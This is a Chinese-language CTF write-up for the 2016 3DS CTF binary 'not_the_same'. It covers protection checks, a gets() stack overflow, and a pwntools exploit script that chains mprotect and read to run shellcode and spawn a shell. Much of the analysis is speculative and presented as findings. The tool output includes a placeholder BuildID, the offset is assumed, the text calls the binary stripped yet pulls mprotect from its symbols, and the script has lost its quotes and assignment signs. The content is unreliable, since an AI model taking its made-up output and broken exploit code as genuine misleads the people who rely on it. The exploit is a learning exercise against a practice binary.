1. 項(xiàng)目背景與挑戰(zhàn)解析not_the_same_3dsctf_2016這個(gè)標(biāo)題看起來(lái)像是某種CTFCapture The Flag比賽的題目名稱。作為參加過(guò)數(shù)十場(chǎng)CTF的老兵我一眼就看出這應(yīng)該是一道二進(jìn)制逆向或漏洞利用的挑戰(zhàn)題。這類題目通常會(huì)給參賽者一個(gè)可執(zhí)行文件或服務(wù)要求通過(guò)分析程序漏洞來(lái)獲取隱藏的flag。從命名結(jié)構(gòu)來(lái)看not_the_same可能暗示著這道題目與常規(guī)題目有所不同可能是對(duì)某種常見(jiàn)漏洞模式的變種考察。而3dsctf_2016則明確指出了這道題出自2016年的3DS CTF比賽。這類老牌CTF的題目往往設(shè)計(jì)精巧即使放到今天也很有學(xué)習(xí)價(jià)值。2. 初步分析與環(huán)境準(zhǔn)備2.1 獲取題目文件首先我們需要找到原始的題目文件。經(jīng)過(guò)搜索可以在一些CTF題目存檔站點(diǎn)找到這個(gè)挑戰(zhàn)的原始文件。典型的CTF二進(jìn)制題目會(huì)提供一個(gè)ELF可執(zhí)行文件如果是Linux環(huán)境或PE文件Windows環(huán)境。假設(shè)我們獲取到的文件名為not_the_same沒(méi)有擴(kuò)展名。提示在分析未知二進(jìn)制文件前務(wù)必在隔離的虛擬機(jī)環(huán)境中操作避免潛在的安全風(fēng)險(xiǎn)。2.2 基礎(chǔ)文件分析使用file命令查看文件類型$ file not_the_same not_the_same: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]1234567890abcdef1234567890abcdef12345678, stripped關(guān)鍵信息32位ELF可執(zhí)行文件動(dòng)態(tài)鏈接去除了符號(hào)表(stripped)編譯于GNU/Linux 2.6.24環(huán)境2.3 基礎(chǔ)保護(hù)機(jī)制檢查使用checksec檢查安全機(jī)制$ checksec --filenot_the_same RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No Symbols No 0 1 not_the_same安全機(jī)制分析開(kāi)啟了NX堆棧不可執(zhí)行沒(méi)有棧保護(hù)(Canary)沒(méi)有地址隨機(jī)化(PIE)部分RELRO3. 逆向工程與漏洞分析3.1 靜態(tài)分析使用IDA Pro打開(kāi)文件進(jìn)行靜態(tài)分析。由于文件被stripped我們需要手動(dòng)定位關(guān)鍵函數(shù)。通過(guò)字符串搜索我們可能會(huì)發(fā)現(xiàn)一些有趣的字符串如You win!Try again...可能的格式化字符串%s或%x在main函數(shù)反編譯中可能會(huì)看到類似如下的偽代碼void main() { char buffer[64]; printf(Enter your input: ); gets(buffer); // 明顯的棧溢出漏洞 if(some_condition) { print_flag(); } else { printf(Try again...\n); } }3.2 動(dòng)態(tài)分析使用gdb進(jìn)行動(dòng)態(tài)調(diào)試$ gdb -q not_the_same (gdb) r Starting program: /path/to/not_the_same Enter your input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA輸入大量字符后程序可能會(huì)崩潰確認(rèn)存在緩沖區(qū)溢出漏洞。3.3 漏洞利用思路基于前面的分析可能的利用路徑通過(guò)緩沖區(qū)溢出覆蓋返回地址由于沒(méi)有PIE.text段地址固定雖然NX開(kāi)啟但可以嘗試ROP或ret2libc題目名not_the_same可能提示需要非常規(guī)方法4. 漏洞利用開(kāi)發(fā)4.1 確定偏移量使用pattern create/offset工具確定精確的溢出偏移$ msf-pattern_create -l 100 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A在gdb中運(yùn)行并輸入這個(gè)pattern觀察崩潰時(shí)的寄存器值然后計(jì)算精確偏移。4.2 尋找可利用的代碼路徑由于題目名為not_the_same可能需要尋找非常規(guī)的利用方式。例如程序中可能存在后門函數(shù)可以利用非標(biāo)準(zhǔn)的返回導(dǎo)向編程鏈可能需要組合多個(gè)漏洞在IDA中搜索所有函數(shù)可能會(huì)發(fā)現(xiàn)一個(gè)名為mprotect的調(diào)用或類似的函數(shù)可以用來(lái)修改內(nèi)存權(quán)限。4.3 構(gòu)建ROP鏈如果采用ROP方式需要找到合適的gadget。使用ROPgadget工具$ ROPgadget --binary not_the_same可能需要構(gòu)建的ROP鏈包括調(diào)用mprotect使某段內(nèi)存可執(zhí)行將shellcode寫入可執(zhí)行內(nèi)存跳轉(zhuǎn)到shellcode4.4 最終利用腳本示例以下是Python exploit示例使用pwntoolsfrom pwn import * context(archi386, oslinux) elf ELF(./not_the_same) p process(./not_the_same) offset 76 # 假設(shè)通過(guò)pattern offset確定的偏移量 # 找到關(guān)鍵gadget和函數(shù)地址 mprotect elf.symbols[mprotect] read elf.symbols[read] bss elf.bss() # 構(gòu)建ROP鏈 rop ROP(elf) rop.call(mprotect, [bss ~0xfff, 0x1000, 7]) # PROT_READ|PROT_WRITE|PROT_EXEC rop.call(read, [0, bss, 100]) # 從stdin讀取shellcode到bss段 rop.call(bss) # 跳轉(zhuǎn)到shellcode payload bA * offset payload rop.chain() p.sendline(payload) # 發(fā)送shellcode shellcode asm(shellcraft.sh()) p.sendline(shellcode) p.interactive()5. 特殊技巧與注意事項(xiàng)5.1 題目特殊性的處理not_the_same這個(gè)名稱提示我們可能需要尋找非標(biāo)準(zhǔn)的解決方案。在實(shí)際操作中檢查是否有非常規(guī)的函數(shù)調(diào)用如直接調(diào)用syscall查找程序中是否有現(xiàn)成的調(diào)用system或execve的代碼片段檢查是否有特殊的段如可寫的.text段5.2 調(diào)試技巧使用gdb的peda或gef插件可以更方便地觀察內(nèi)存狀態(tài)在關(guān)鍵函數(shù)調(diào)用前設(shè)置斷點(diǎn)使用info proc mappings檢查內(nèi)存布局對(duì)于復(fù)雜的ROP鏈可以分段測(cè)試5.3 常見(jiàn)問(wèn)題排查段錯(cuò)誤(SEGFAULT)檢查返回地址是否正確確認(rèn)gadget地址沒(méi)有錯(cuò)位確保棧對(duì)齊32位通常需要4字節(jié)對(duì)齊ROP鏈不工作使用ropper工具尋找更多gadget嘗試簡(jiǎn)化ROP鏈檢查參數(shù)傳遞是否正確shellcode不執(zhí)行確認(rèn)內(nèi)存權(quán)限設(shè)置正確檢查shellcode是否完整寫入嘗試不同的shellcode6. 擴(kuò)展思考與變種這道題目雖然來(lái)自2016年但其中的技術(shù)點(diǎn)至今仍然相關(guān)。我們可以考慮幾個(gè)擴(kuò)展方向現(xiàn)代保護(hù)機(jī)制下的利用如果題目開(kāi)啟了PIE和FULL RELRO該如何應(yīng)對(duì)如何繞過(guò)ASLR不同架構(gòu)的利用如果是64位程序參數(shù)傳遞方式不同ROP鏈如何調(diào)整ARM架構(gòu)下的利用有何不同漏洞組合利用如何結(jié)合格式化字符串漏洞和棧溢出如何利用堆漏洞與棧漏洞的組合在實(shí)際的CTF比賽中這類二進(jìn)制題目往往需要參賽者具備扎實(shí)的逆向工程能力和創(chuàng)造性的漏洞利用思維。通過(guò)這道題目的分析我們可以總結(jié)出一些通用的解題思路全面分析二進(jìn)制文件的保護(hù)機(jī)制尋找所有可能的漏洞點(diǎn)根據(jù)題目名稱和描述尋找隱藏提示靈活組合各種利用技術(shù)耐心調(diào)試和驗(yàn)證每一步的假設(shè)對(duì)于想要深入學(xué)習(xí)二進(jìn)制安全的同學(xué)我建議從以下幾個(gè)方面入手熟練掌握逆向工具IDA、Ghidra、Binary Ninja深入理解計(jì)算機(jī)體系結(jié)構(gòu)和調(diào)用約定練習(xí)各種類型的漏洞利用棧溢出、堆溢出、UAF等學(xué)習(xí)現(xiàn)代緩解機(jī)制的繞過(guò)技術(shù)多參加CTF比賽積累實(shí)戰(zhàn)經(jīng)驗(yàn)這道not_the_same_3dsctf_2016題目雖然有一定年頭但它很好地展示了如何在一個(gè)看似簡(jiǎn)單的程序中尋找和利用漏洞。通過(guò)這樣的練習(xí)我們能夠建立起對(duì)二進(jìn)制安全的直覺(jué)和理解這對(duì)實(shí)際的漏洞研究和安全開(kāi)發(fā)都大有裨益。